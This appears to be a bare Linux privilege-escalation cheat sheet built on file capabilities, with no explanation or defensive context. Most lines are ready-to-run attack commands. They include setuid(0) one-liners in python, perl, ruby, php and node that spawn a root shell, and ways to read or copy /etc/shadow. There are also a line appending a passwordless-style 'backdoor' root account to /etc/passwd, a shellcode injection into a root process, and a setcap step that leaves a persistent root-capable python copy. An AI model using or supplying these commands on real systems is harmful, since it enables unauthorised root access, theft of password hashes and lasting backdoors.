Capabilities

getcap -r / 2>/dev/null

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

php -r 'posix_setuid(0); system("/bin/bash");'

node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'

tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz
cat etc/shadow

openssl enc -in /etc/shadow

import os
os.setuid(0)  # if also cap_setuid
# Or write directly
with open('/etc/passwd', 'a') as f:
    f.write('backdoor:$(openssl passwd -1 password):0:0::/root:/bin/bash\n')

vim /etc/shadow

# If python has cap_chown
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
cat /etc/shadow

# Change permissions on any file
chmod 777 /etc/shadow

tcpdump -i any -w /tmp/capture.pcap

python3 -m http.server 80

# Find root process
ps aux | grep root

# Inject shellcode via gdb or custom tool
python3 inject.py <ROOT_PID>

mount /dev/sda1 /mnt
cat /mnt/etc/shadow

cp /usr/bin/python3 /tmp/python3
setcap cap_setuid+ep /tmp/python3

/tmp/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'